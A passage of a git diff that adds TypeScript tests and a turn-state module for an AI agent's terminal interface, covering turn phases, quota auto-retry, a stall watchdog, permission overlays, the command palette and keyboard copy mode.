t.bridge.handle({ + type: "tool.done", + data: { result: { callId: "c1", name: "bash", content: "AGENTS.md" } }, + }) + + t.bridge.handle({ type: "inference.start", data: {} }) + t.bridge.handle({ type: "inference.text.delta", data: { token: "done." } }) + t.bridge.handle({ type: "inference.done", data: {} }) + t.bridge.handle({ type: "connector.reply", data: { content: "done." } }) + + expect(t.shell.turnPhase).toBeNull() + expect(t.bridge.turn.isProcessing).toBe(false) + expect(noticeText(t.shell)).not.toContain("working") + // The session is handed back and the transient row empties with it. + expect(t.shell.session.run).toBe("idle") + expect(noticeText(t.shell)).toBe("") + + // A later tick must not resurrect it. + t.advance(250) + t.tick() + expect(t.shell.turnPhase).toBeNull() + } finally { + t.bridge.dispose() + } + }) + }) + + test("an interrupted turn clears the phase", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.handle({ type: "inference.start", data: {} }) + t.bridge.handle({ type: "inference.text.delta", data: { token: "hi" } }) + expect(t.shell.turnPhase).not.toBeNull() + + t.bridge.interrupt() + expect(t.shell.turnPhase).toBeNull() + t.advance(250) + t.tick() + expect(t.shell.turnPhase).toBeNull() + } finally { + t.bridge.dispose() + } + }) + }) + + test("a reactor error clears the phase", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.handle({ type: "inference.start", data: {} }) + t.bridge.handle({ + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1" }, + }) + expect(t.shell.turnPhase).not.toBeNull() + + t.bridge.handle({ + type: "reactor.error", + data: { fatal: true, error: "boom" }, + }) + expect(t.shell.turnPhase).toBeNull() + expect(t.bridge.turn.isProcessing).toBe(false) + } finally { + t.bridge.dispose() + } + }) + }) + + test("an open permission overlay freezes the ramp and reads blocked", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.handle({ type: "inference.start", data: {} }) + t.shell.overlayKind = "permissions" + t.tick() + expect(t.shell.turnPhase).toEndWith("blocked") + + // Frozen is the signal: the ramp must not move while a human is asked. + const frozen = t.shell.turnPhase + t.advance(1_000) + expect(t.shell.turnPhase).toBe(frozen) + + // The running state lives in the border, not the transient row: the + // row would be a second indicator one line above the first. + expect(noticeText(t.shell)).not.toContain("blocked") + expect(noticeText(t.shell)).not.toMatch(/[░▒▓█]/u) + } finally { + t.bridge.dispose() + } + }) + }) +}) + +describe("quota auto-retry", () => { + test("counts down then resubmits the last prompt once", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.submit("run the build", "immediate") + t.port.clear() + t.bridge.handle(quotaEvent(60_000)) + + t.advance(10_000) + t.tick() + expect(t.shell.statusFlash).toBe("rate limited — retrying in 50s") + expect(t.port.calls).toEqual([]) + + t.advance(60_000) + t.tick() + expect(t.port.calls).toEqual([ + { op: "sendImmediate", text: "run the build" }, + ]) + + // Window is closed — a later tick must not replay the prompt again. + t.advance(60_000) + t.tick() + expect(t.port.calls.filter((c) => c.op === "sendImmediate")).toHaveLength( + 1, + ) + } finally { + t.bridge.dispose() + } + }) + }) + + test("an interrupted turn is never replayed", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.submit("run the build", "immediate") + t.bridge.handle(quotaEvent(1_000)) + t.bridge.interrupt() + t.port.clear() + + t.advance(10_000) + t.tick() + expect(t.port.calls).toEqual([]) + } finally { + t.bridge.dispose() + } + }) + }) +}) + +describe("stall watchdog", () => { + test("says the run looks stuck long before it aborts anything", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.submit("build it", "immediate") + t.port.clear() + + t.advance(300) + t.tick() + expect(t.shell.statusFlash).not.toBe(STALL_NOTICE_MESSAGE) + + t.advance(200) + t.tick() + expect(t.shell.statusFlash).toBe(STALL_NOTICE_MESSAGE) + // A notice, not a timeout: the run is still going. + expect(t.port.calls).toEqual([]) + expect(t.shell.turnPhase).not.toBeNull() + } finally { + t.bridge.dispose() + } + }) + }) + + test("aborts and flashes after the stall timeout", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.submit("build it", "immediate") + t.port.clear() + + t.advance(500) + t.tick() + expect(t.port.calls).toEqual([]) + + t.advance(1_000) + t.tick() + expect(t.port.calls).toEqual([{ op: "interrupt" }]) + expect(t.shell.statusFlash).toBe(STALL_RECOVERY_MESSAGE) + + // The aborted turn is settled, so the watchdog does not re-fire. + t.advance(10_000) + t.tick() + expect(t.port.calls).toHaveLength(1) + } finally { + t.bridge.dispose() + } + }) + }) + + test("a live tool run is not treated as a stall", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.submit("build it", "immediate") + t.bridge.handle({ type: "inference.text.delta", data: { token: "ok" } }) + t.bridge.handle({ + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1" }, + }) + t.port.clear() + + t.advance(10_000) + t.tick() + expect(t.port.calls).toEqual([]) + } finally { + t.bridge.dispose() + } + }) + }) +}) + +describe("reasoning settles to a summary", () => { + test("a closed thinking row carries its elapsed time", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + for (const burst of [12_000, 12_000]) { + t.bridge.handle({ type: "inference.start", data: {} }) + t.bridge.handle({ + type: "inference.thinking.delta", + data: { token: "weighing the call sites" }, + }) + t.advance(burst) + t.bridge.handle({ type: "inference.text.delta", data: { token: "done" } }) + } + + // Both bursts belong to one turn, so they share one row — and its + // elapsed time is the turn's thinking, not the last burst's. + const thoughts = t.shell.streamLog + .filter((row) => row.meta === "thinking") + .map((row) => row.thought) + expect(thoughts).toHaveLength(1) + expect(thoughts[0]?.ms).toBe(24_000) + } finally { + t.bridge.dispose() + } + }) + }) + + test("a live thinking row stays open and unsettled", async () => { + await withTestRenderer(async (h) => { + const t: Harness = await setup(h) + try { + t.bridge.handle({ type: "inference.start", data: {} }) + t.bridge.handle({ + type: "inference.thinking.delta", + data: { token: "still going" }, + }) + const live = t.shell.streamLog.find((row) => row.meta === "thinking") + expect(live?.streaming).toBe(true) + expect(live?.thought).toBeUndefined() + } finally { + t.bridge.dispose() + } + }) + }) +}) diff --git a/src/tui-opentui/turn-state.test.ts b/src/tui-opentui/turn-state.test.ts new file mode 100644 index 000000000..47b003f55 --- /dev/null +++ b/src/tui-opentui/turn-state.test.ts @@ -0,0 +1,162 @@ +import { describe, expect, test } from "bun:test" + +import { + initialTurnState, + turnStateBlocked, + turnStateFromEvent, + turnStateOnInterrupt, + turnStateOnSubmit, +} from "./turn-state.js" + +const fold = ( + events: readonly { type: string; data?: unknown; state?: string }[], + startMs = 0, +) => + events.reduce( + (state, event, i) => turnStateFromEvent(state, event, startMs + i + 1), + initialTurnState(startMs), + ) + +describe("turnStateFromEvent", () => { + test("start awaits the first token", () => { + const s = fold([{ type: "inference.start" }]) + expect(s.status).toBe("running") + expect(s.awaitingResponse).toBe(true) + expect(s.streamingType).toBeNull() + }) + + test("text and thinking deltas set the streaming phase", () => { + expect( + fold([{ type: "inference.start" }, { type: "inference.text.delta" }]) + .streamingType, + ).toBe("text") + expect( + fold([{ type: "inference.start" }, { type: "inference.thinking.delta" }]) + .streamingType, + ).toBe("thinking") + }) + + test("text deltas accumulate a live token count, thinking deltas do not", () => { + const s = fold([ + { type: "inference.start" }, + { type: "inference.text.delta" }, + { type: "inference.text.delta" }, + { type: "inference.thinking.delta" }, + ]) + expect(s.streamTokenCount).toBe(2) + }) + + test("a new submit resets the token count", () => { + const midTurn = fold([ + { type: "inference.start" }, + { type: "inference.text.delta" }, + ]) + expect(midTurn.streamTokenCount).toBe(1) + const next = turnStateOnSubmit(midTurn, 10) + expect(next.streamTokenCount).toBe(0) + }) + + test("tool call tracks the current tool and clears on result", () => { + const running = fold([ + { type: "inference.start" }, + { type: "inference.tool_call.end", data: { name: "bash" } }, + ]) + expect(running.streamingType).toBe("tool") + expect(running.currentToolName).toBe("bash") + + const done = turnStateFromEvent(running, { type: "tool.done" }, 100) + expect(done.currentToolName).toBeNull() + expect(done.awaitingResponse).toBe(true) + }) + + test("tool.start reads the nested call name", () => { + expect( + fold([{ type: "tool.start", data: { call: { name: "grep" } } }]) + .currentToolName, + ).toBe("grep") + }) + + test("reactor.done settles back to idle", () => { + const s = fold([{ type: "inference.start" }, { type: "reactor.done" }]) + expect(s.status).toBe("idle") + expect(s.isProcessing).toBe(false) + }) + + test("activity clock advances with every event", () => { + const s = fold([{ type: "inference.start" }, { type: "inference.text.delta" }]) + expect(s.lastActivityAt).toBe(2) + }) + + test("quota_exhausted opens a retry window", () => { + const s = turnStateFromEvent( + initialTurnState(0), + { + type: "inference.error", + data: { + error: { category: "quota_exhausted", retryAfterMs: 60_000 }, + }, + }, + 1_000, + ) + expect(s.quota).toEqual({ retryAfterMs: 60_000, retryAt: 61_000 }) + }) + + test("other inference errors open no window", () => { + const s = turnStateFromEvent( + initialTurnState(0), + { type: "inference.error", data: { error: { category: "retryable" } } }, + 1_000, + ) + expect(s.quota).toBeNull() + }) + + test("malformed error payloads are ignored", () => { + const s = turnStateFromEvent( + initialTurnState(0), + { type: "inference.error", data: { error: "boom" } }, + 1_000, + ) + expect(s.quota).toBeNull() + }) + + test("canonical run events drive the same phases", () => { + expect(fold([{ type: "run", state: "busy" }]).status).toBe("running") + expect( + fold([{ type: "run", state: "busy" }, { type: "run", state: "idle" }]) + .status, + ).toBe("idle") + }) +}) + +describe("turn transitions", () => { + test("submit enters the awaiting phase", () => { + const s = turnStateOnSubmit(initialTurnState(0), 5) + expect(s).toMatchObject({ + status: "running", + isProcessing: true, + awaitingResponse: true, + lastActivityAt: 5, + }) + }) + + test("interrupt stops and clears the quota window", () => { + const quota = turnStateFromEvent( + initialTurnState(0), + { + type: "inference.error", + data: { error: { category: "quota_exhausted", retryAfterMs: 10 } }, + }, + 0, + ) + const s = turnStateOnInterrupt(quota, 9) + expect(s.status).toBe("stopped") + expect(s.quota).toBeNull() + expect(s.isProcessing).toBe(false) + }) + + test("gate blocks without ending the turn", () => { + const s = turnStateBlocked(turnStateOnSubmit(initialTurnState(0), 1)) + expect(s.status).toBe("blocked") + expect(s.isProcessing).toBe(true) + }) +}) diff --git a/src/tui-opentui/turn-state.ts b/src/tui-opentui/turn-state.ts new file mode 100644 index 000000000..abf96e142 --- /dev/null +++ b/src/tui-opentui/turn-state.ts @@ -0,0 +1,335 @@ +/** + * Live turn phase derived from the session event stream. + * + * The OpenTUI shell has no React hook holding stream state, so the bridge folds + * the same events the transcript paints into this small record. It feeds the + * progress label, the quota auto-retry decision, and the stall watchdog — all + * three need the phase, the last-activity clock, and the rate-limit window. + * + * Pure and clock-injected: every transition takes `nowMs` from the caller. + */ + +import { type } from "arktype" + +import type { TurnStatus } from "./session-chrome.js" + +export type QuotaWait = { + readonly retryAfterMs: number + readonly retryAt: number +} + +export type TurnState = { + readonly status: TurnStatus + readonly isProcessing: boolean + /** Between a request and its first streamed token. */ + readonly awaitingResponse: boolean + readonly streamingType: "text" | "thinking" | "tool" | null + readonly currentToolName: string | null + /** + * Text deltas seen so far this turn — the only live count available: usage + * totals only land on `inference.done`, well after the turn has finished + * streaming. Counts delta events, not a real tokenizer, so it is a proxy + * for "how much has arrived" rather than an exact token count. + */ + readonly streamTokenCount: number + readonly lastActivityAt: number + /** Set while a provider rate limit is cooling down. */ + readonly quota: QuotaWait | null + /** + * Tool calls streamed by the current cycle that have not reported a result. + * `connector.reply` closes a cycle but not the turn when tools are still out, + * so the settle decision needs the outstanding ids, not just the last name. + */ + readonly activeToolCalls: readonly string[] +} + +export function initialTurnState(nowMs: number): TurnState { + return { + status: "idle", + isProcessing: false, + awaitingResponse: false, + streamingType: null, + currentToolName: null, + streamTokenCount: 0, + lastActivityAt: nowMs, + quota: null, + activeToolCalls: [], + } +} + +/** Operator submitted a prompt: the run is live and awaiting first tokens. */ +export function turnStateOnSubmit(state: TurnState, nowMs: number): TurnState { + return { + ...state, + status: "running", + isProcessing: true, + awaitingResponse: true, + streamingType: null, + currentToolName: null, + streamTokenCount: 0, + lastActivityAt: nowMs, + activeToolCalls: [], + } +} + +/** Ctrl+C / watchdog abort: nothing is in flight and no prompt may be replayed. */ +export function turnStateOnInterrupt(_state: TurnState, nowMs: number): TurnState { + return { ...initialTurnState(nowMs), status: "stopped" } +} + +/** A pending approval gate blocks the turn without ending it. */ +export function turnStateBlocked(state: TurnState): TurnState { + return { ...state, status: "blocked", isProcessing: true } +} + +export function clearQuotaWait(state: TurnState): TurnState { + return state.quota === null ? state : { ...state, quota: null } +} + +const inferenceErrorData = type({ + error: { + category: "string", + "retryAfterMs?": "number", + }, +}) + +const namedCallData = type({ "name?": "string" }) +const toolStartData = type({ + call: { "name?": "string" }, +}) + +function quotaFromInferenceError( + data: unknown, + nowMs: number, +): QuotaWait | null { + const parsed = inferenceErrorData(data) + if (parsed instanceof type.errors) return null + const { category, retryAfterMs } = parsed.error + if (category !== "quota_exhausted" || retryAfterMs === undefined) return null + return { retryAfterMs, retryAt: nowMs + retryAfterMs } +} + +function toolName(data: unknown): string | null { + const named = namedCallData(data) + if (!(named instanceof type.errors) && named.name !== undefined) { + return named.name + } + const started = toolStartData(data) + if (!(started instanceof type.errors) && started.call.name !== undefined) { + return started.call.name + } + return null +} + +const callIdData = type({ "callId?": "string", "name?": "string" }) +const toolStartCallData = type({ + call: { "id?": "string", "callId?": "string", "name?": "string" }, +}) +const toolDoneData = type({ + result: { "callId?": "string", "name?": "string" }, +}) + +/** + * Stable handle for one outstanding tool call. Providers that stream a callId + * give a real one; the rest fall back to the name so at least the count is + * right, which is all the settle decision reads. + */ +function streamedCallId(data: unknown): string { + const parsed = callIdData(data) + if (!(parsed instanceof type.errors)) { + if (parsed.callId !== undefined) return parsed.callId + if (parsed.name !== undefined) return parsed.name + } + const started = toolStartCallData(data) + if (!(started instanceof type.errors)) { + const { id, callId, name } = started.call + return id ?? callId ?? name ?? "tool" + } + return "tool" +} + +function resultCallId(data: unknown): string { + const parsed = toolDoneData(data) + if (parsed instanceof type.errors) return "tool" + return parsed.result.callId ?? parsed.result.name ?? "tool" +} + +function withActiveCall( + active: readonly string[], + id: string, +): readonly string[] { + return active.includes(id) ? active : [...active, id] +} + +/** + * Drop one outstanding call. An unmatched id still consumes an entry: a + * mismatched pair would otherwise leave the turn permanently "working". + */ +function withoutActiveCall( + active: readonly string[], + id: string, +): readonly string[] { + const index = active.indexOf(id) + if (index !== -1) return active.filter((_, i) => i !== index) + return active.slice(1) +} + +const streaming = ( + state: TurnState, + kind: "text" | "thinking", + nowMs: number, +): TurnState => ({ + ...state, + status: state.status === "blocked" ? "blocked" : "running", + isProcessing: true, + awaitingResponse: false, + streamingType: kind, + streamTokenCount: + kind === "text" ? state.streamTokenCount + 1 : state.streamTokenCount, + lastActivityAt: nowMs, +}) + +const runningTool = ( + state: TurnState, + name: string | null, + nowMs: number, +): TurnState => ({ + ...state, + status: state.status === "blocked" ? "blocked" : "running", + isProcessing: true, + awaitingResponse: false, + streamingType: "tool", + currentToolName: name ?? state.currentToolName, + lastActivityAt: nowMs, +}) + +/** + * Fold one inbound event (reactor-shaped or canonical bridge-shaped) into the + * turn state. Unknown types leave the state untouched. + */ +export function turnStateFromEvent( + state: TurnState, + event: { + readonly type: string + readonly data?: unknown + /** Canonical bridge shapes carry these instead of `data`. */ + readonly state?: string + readonly name?: string + }, + nowMs: number, +): TurnState { + switch (event.type) { + case "message.received": + return turnStateOnSubmit(state, nowMs) + + case "inference.start": + return { + ...state, + status: state.status === "blocked" ? "blocked" : "running", + isProcessing: true, + awaitingResponse: true, + streamingType: null, + currentToolName: null, + lastActivityAt: nowMs, + } + + case "inference.text.delta": + case "assistant.delta": + return streaming(state, "text", nowMs) + + case "inference.thinking.delta": + return streaming(state, "thinking", nowMs) + + case "inference.tool_call.delta": + return runningTool(state, toolName(event.data), nowMs) + + case "inference.tool_call.start": + case "inference.tool_call.end": + case "tool.start": { + const running = runningTool(state, toolName(event.data), nowMs) + return { + ...running, + activeToolCalls: withActiveCall( + state.activeToolCalls, + streamedCallId(event.data), + ), + } + } + + case "tool_call": { + const running = runningTool(state, event.name ?? null, nowMs) + return { + ...running, + activeToolCalls: withActiveCall( + state.activeToolCalls, + event.name ?? "tool", + ), + } + } + + // Tool finished: the model is being called again, so the awaiting-response + // clock restarts rather than the tool clock continuing. + case "tool.done": + case "tool_result": + return { + ...state, + awaitingResponse: true, + streamingType: null, + currentToolName: null, + lastActivityAt: nowMs, + activeToolCalls: withoutActiveCall( + state.activeToolCalls, + event.type === "tool.done" + ? resultCallId(event.data) + : (event.name ?? "tool"), + ), + } + + case "inference.done": + return { + ...state, + awaitingResponse: false, + streamingType: null, + lastActivityAt: nowMs, + } + + /** + * The turn's real terminator. `agent.send()` resolves on connector.reply, + * and a chat session emits no `reactor.done` until it closes — so without + * this the phase line would stay hot for the rest of the session. A reply + * with tools still outstanding only ends the cycle, not the turn. + */ + case "connector.reply": + if (state.activeToolCalls.length > 0) { + return { ...state, awaitingResponse: false, lastActivityAt: nowMs } + } + return { + ...initialTurnState(nowMs), + status: "done", + quota: state.quota, + } + + case "inference.error": { + const quota = quotaFromInferenceError(event.data, nowMs) + return { + ...state, + lastActivityAt: nowMs, + ...(quota !== null ? { quota } : {}), + } + } + + case "reactor.done": + return { ...initialTurnState(nowMs), quota: state.quota } + + case "reactor.error": + return { ...initialTurnState(nowMs), status: "failed" } + + case "run": + return event.state === "busy" + ? turnStateOnSubmit(state, nowMs) + : { ...initialTurnState(nowMs), quota: state.quota } + + default: + return state + } +} diff --git a/src/tui-opentui/wave6.test.ts b/src/tui-opentui/wave6.test.ts new file mode 100644 index 000000000..ce57676e5 --- /dev/null +++ b/src/tui-opentui/wave6.test.ts @@ -0,0 +1,458 @@ +/** + * Wave 6: command palette, long-log windowing, chrome zones, keyboard copy. + */ +import { describe, expect, test } from "bun:test" +import { IDLE_TRANSCRIPT_FLOOR } from "./geometry/index" +import { focusOwner, scrollLease } from "./focus/index" +import { withTestRenderer } from "./harness" +import { + LONG_LOG_COLLAPSE_THRESHOLD, + LONG_LOG_WINDOW, + mustWindow, +} from "./long-log" +import { openPermissionsOverlay } from "./overlays" +import { + acceptOverlaySelection, + appendStreamRow, + closeInsetOverlay, + confirmCopySelection, + createAppShell, + enterCopyMode, + enterSubagentObserve, + moveOverlaySelection, + openInsetOverlay, + openPalette, + setChromeZones, +} from "./shell" +import { createRecordingClipboard } from "./copy-path" + +describe("Wave 6: command palette", () => { + test("open → navigate → Esc restores prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + try { + expect(focusOwner(shell.focus)).toBe("prompt") + openPalette(shell) + expect(shell.overlayKind).toBe("palette") + expect(shell.overlayList).not.toBeNull() + expect(shell.paletteCommands.length).toBeGreaterThan(0) + expect(focusOwner(shell.focus)).toBe("palette") + expect(scrollLease(shell.focus)).toBe("palette") + expect(shell.layout.overlayMode).toBe("inset") + expect(shell.overlayHost.visible).toBe(true) + + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toMatch(/palette/i) + // List labels live in overlayItems (frame may clip first row under tight height). + expect(shell.overlayItems[0]).toBe("Open permissions") + expect(shell.overlayItems.some((l) => l.includes("permissions"))).toBe( + true, + ) + + moveOverlaySelection(shell, 1) + expect(shell.overlayList!.activeIndex).toBe(1) + + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(shell.overlayKind).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + expect(shell.layout.overlayMode).toBe("closed") + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("accept action (help) opens help overlay", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + openPalette(shell) + const helpIdx = shell.paletteCommands.findIndex((c) => c.id === "help") + expect(helpIdx).toBeGreaterThanOrEqual(0) + for (let i = 0; i < helpIdx; i++) moveOverlaySelection(shell, 1) + expect(shell.paletteCommands[shell.overlayList!.activeIndex]!.id).toBe( + "help", + ) + + acceptOverlaySelection(shell) + // Help is a residual list surface — palette closes, help opens. + expect(shell.overlayKind).toBe("help") + expect(shell.overlayList).not.toBeNull() + expect(focusOwner(shell.focus)).toBe("overlay") + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("palette stacks over permissions; Esc restores permissions then prompt", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + openPermissionsOverlay(shell, { + items: ["Allow once", "Deny", "Always allow"], + }) + expect(shell.overlayKind).toBe("permissions") + expect(focusOwner(shell.focus)).toBe("overlay") + + openPalette(shell) + expect(shell.overlayKind).toBe("palette") + expect(focusOwner(shell.focus)).toBe("palette") + + closeInsetOverlay(shell) + expect(shell.overlayKind).toBe("permissions") + expect(focusOwner(shell.focus)).toBe("overlay") + expect(shell.overlayItems[0]).toBe("Allow once") + + closeInsetOverlay(shell) + expect(shell.overlayList).toBeNull() + expect(focusOwner(shell.focus)).toBe("prompt") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("Wave 6: long-log windowing", () => { + test("multi-thousand append stays interactive (windowed paint)", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const n = LONG_LOG_COLLAPSE_THRESHOLD + 50 + expect(mustWindow(n)).toBe(true) + + const t0 = performance.now() + for (let i = 0; i < n; i++) { + const role = + i % 3 === 0 ? "user" : i % 3 === 1 ? "assistant" : "tool" + if (role === "tool") { + appendStreamRow(shell, { + role: "tool", + text: `row-${i}`, + meta: "bash", + }) + } else { + appendStreamRow(shell, { + role, + text: `row-${i}`, + }) + } + } + const elapsed = performance.now() - t0 + + expect(shell.streamLog.length).toBe(n) + expect(shell.lineCount).toBe(n) + // Paint tree is windowed, not full history. + const painted = shell.transcript.getChildren().length + // collapse marker + window rows + expect(painted).toBeLessThanOrEqual(LONG_LOG_WINDOW + 2) + expect(painted).toBeGreaterThan(0) + // Smoke: no multi-second peg on append storm + expect(elapsed).toBeLessThan(5_000) + + await h.renderOnce() + const frame = h.captureCharFrame() + // Tail still visible + expect(frame).toContain(`row-${n - 1}`) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("Wave 6: chrome zones", () => { + test("goal / task / agents measured via geometry (not guessed)", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + expect(shell.layout.heights.goal).toBe(0) + expect(shell.layout.heights.task).toBe(0) + expect(shell.layout.heights.agents).toBe(0) + expect(shell.goalBox.visible).toBe(false) + + setChromeZones(shell, { + goal: "goal: Wave 6", + task: "task: chrome zones", + agents: "agents: 0", + }) + + expect(shell.layout.heights.goal).toBe(1) + expect(shell.layout.heights.task).toBe(1) + expect(shell.layout.heights.agents).toBe(1) + expect(shell.goalBox.visible).toBe(true) + expect(shell.taskBox.visible).toBe(true) + expect(shell.agentsBox.visible).toBe(true) + // Transcript still holds constitution floor when possible + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual(1) + + await h.renderOnce() + const frame = h.captureCharFrame() + expect(frame).toContain("goal: Wave 6") + expect(frame).toContain("task: chrome zones") + expect(frame).toContain("agents: 0") + + setChromeZones(shell, { goal: null, task: null, agents: null }) + expect(shell.layout.heights.goal).toBe(0) + expect(shell.goalBox.visible).toBe(false) + expect(shell.layout.transcriptHeight).toBeGreaterThanOrEqual( + IDLE_TRANSCRIPT_FLOOR, + ) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("Wave 6: keyboard copy path", () => { + test("enterCopyMode freezes targets and defaults to last", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + appendStreamRow(shell, { role: "user", text: "first row" }) + appendStreamRow(shell, { role: "assistant", text: "second row" }) + appendStreamRow(shell, { + role: "system", + text: "noise", + meta: "sys", + }) + const n = shell.streamLog.length + + const ok = enterCopyMode(shell) + expect(ok).toBe(true) + expect(shell.overlayKind).toBe("copy") + expect(shell.copyTargets?.length).toBe(2) + expect(shell.overlayList?.activeIndex).toBe(1) + expect(shell.streamLog.length).toBe(n) + + // Live stream change must not alter frozen targets. + appendStreamRow(shell, { role: "user", text: "after open" }) + expect(shell.copyTargets?.map((t) => t.text)).toEqual([ + "first row", + "second row", + ]) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("confirm last target without navigation", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const clip = createRecordingClipboard() + ;(shell as unknown as { clipboard: typeof clip }).clipboard = clip + + appendStreamRow(shell, { role: "user", text: "copy me please" }) + appendStreamRow(shell, { + role: "system", + text: "noise", + meta: "sys", + }) + const n = shell.streamLog.length + + expect(enterCopyMode(shell)).toBe(true) + expect(confirmCopySelection(shell)).toBe(true) + expect(clip.writes).toEqual(["copy me please"]) + expect(shell.streamLog.length).toBe(n) + expect(shell.streamLog.every((r) => r.meta !== "copy")).toBe(true) + expect(shell.overlayList).toBeNull() + expect(shell.statusFlash).toContain("Copied") + await h.renderOnce() + expect(h.captureCharFrame()).toContain("Copied") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("navigate up then confirm copies earlier target", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const clip = createRecordingClipboard() + ;(shell as unknown as { clipboard: typeof clip }).clipboard = clip + + appendStreamRow(shell, { role: "user", text: "alpha" }) + appendStreamRow(shell, { role: "assistant", text: "beta" }) + appendStreamRow(shell, { role: "tool", text: "gamma", meta: "bash" }) + const n = shell.streamLog.length + + expect(enterCopyMode(shell)).toBe(true) + // Default last (gamma); up → beta; up → alpha + moveOverlaySelection(shell, -1) + moveOverlaySelection(shell, -1) + expect(confirmCopySelection(shell)).toBe(true) + expect(clip.writes).toEqual(["alpha"]) + expect(shell.streamLog.length).toBe(n) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("empty log flashes without stream mutation", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const ok = enterCopyMode(shell) + expect(ok).toBe(false) + expect(shell.streamLog.length).toBe(0) + expect(shell.overlayList).toBeNull() + expect(shell.statusFlash).toBe("nothing to copy") + await h.renderOnce() + expect(h.captureCharFrame()).toContain("nothing to copy") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("Esc cancels without clipboard write", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const clip = createRecordingClipboard() + ;(shell as unknown as { clipboard: typeof clip }).clipboard = clip + + appendStreamRow(shell, { role: "user", text: "leave me" }) + const n = shell.streamLog.length + expect(enterCopyMode(shell)).toBe(true) + closeInsetOverlay(shell) + expect(clip.writes).toEqual([]) + expect(shell.streamLog.length).toBe(n) + expect(shell.overlayList).toBeNull() + expect(shell.copyTargets).toBeNull() + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("does not open copy while another overlay is open", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + appendStreamRow(shell, { role: "user", text: "x" }) + openInsetOverlay(shell, ["Allow", "Deny"]) + expect(shell.overlayKind).toBe("demo") + expect(enterCopyMode(shell)).toBe(false) + expect(shell.overlayKind).toBe("demo") + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("observe copy does not mutate parent snapshot", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + }) + try { + const clip = createRecordingClipboard() + ;(shell as unknown as { clipboard: typeof clip }).clipboard = clip + + appendStreamRow(shell, { role: "user", text: "parent only" }) + enterSubagentObserve(shell, { + sessionId: "s1", + agentId: "explore", + description: "scan", + lines: [{ role: "assistant", text: "child line" }], + }) + const parentSnap = shell.parentStreamLog?.slice() ?? [] + const childLen = shell.streamLog.length + + expect(enterCopyMode(shell)).toBe(true) + expect(confirmCopySelection(shell)).toBe(true) + expect(clip.writes).toEqual(["child line"]) + expect(shell.streamLog.length).toBe(childLen) + expect(shell.parentStreamLog).toEqual(parentSnap) + } finally { + shell.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) diff --git a/src/tui-opentui/wave7.test.ts b/src/tui-opentui/wave7.test.ts new file mode 100644 index 000000000..ade7a0cc1 --- /dev/null +++ b/src/tui-opentui/wave7.test.ts @@ -0,0 +1,409 @@ +/** + * Wave 7 — residual surfaces + subagent observe + readiness smoke. + */ +import { describe, expect, test } from "bun:test" +import { focusOwner } from "./focus/index.js" +import { withTestRenderer } from "./harness.js" +import { SHELL_SHORTCUTS } from "./keybindings.js" +import { + 